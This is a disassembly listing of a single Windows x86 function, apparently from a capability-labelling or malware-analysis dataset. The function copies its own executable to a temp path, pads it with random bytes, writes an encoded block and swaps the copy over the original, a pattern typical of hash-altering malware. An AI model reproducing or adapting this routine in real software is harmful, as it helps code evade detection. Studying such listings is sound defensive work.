Function at 0x40193d
Capabilities:
Copy file
Delete file
Get common file path
Get file size
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x192d0
call fcn.00402840
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x2cf]
mov byte [ebp - 0x2d0], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x2d0]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401b6d
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, 0x80
push ebx
push edi
push 3
push ebx
push 1
lea eax, [ebp - 0x2d0]
push bind
push eax
call esi
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x4019c5
or eax, eax
jmp 0x401b6d
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push dword [ebp - 8]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0x1388000
ja 0x401b6a
lea eax, [ebp - 0x110]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x110]
push 0x404170
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x110]
push 0x40416c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x110]
push 0x404168
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x110]
push str.3it
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x20
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x110]
push ebx
push eax
lea eax, [ebp - 0x2d0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
push edi
push 3
push ebx
push 1
lea eax, [ebp - 0x110]
push 0x40000000
push eax
call esi
mov edi, eax
or eax, 0xffffffff
cmp edi, eax
mov dword [ebp - 8], edi
je 0x401b6d
push ebx
call sub.MSVCRT.dll_time
push eax
call sub.MSVCRT.dll_srand
mov eax, dword [ebp - 4]
pop ecx
pop ecx
add eax, 0xffffff44
push ebx
push ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
call sub.MSVCRT.dll_rand
mov ecx, 0x400
mov dword [ebp - 0xc], ebx
cdq
mov esi, ecx
idiv esi
mov eax, edx
add eax, ecx
imul eax, eax, 0x64
cdq
sub eax, edx
mov esi, eax
sar esi, 1
call sub.MSVCRT.dll_rand
mov ecx, dword [ebp - 0xc]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x19000
mov byte [ebp + ecx - 0x192d0], al
jl 0x401ac6
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x192d0]
push esi
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
call edi
mov esi, 0xbc
lea eax, [ebp - 0x1cc]
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x1cc]
push 0x404828
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x1cc]
push 1
push eax
lea eax, [ebp - 0x1bc]
push 0xac
push eax
call fcn.0040184b
add esp, 0x28
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x1cc]
push esi
push eax
push dword [ebp - 8]
call edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x2d0]
push 5
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret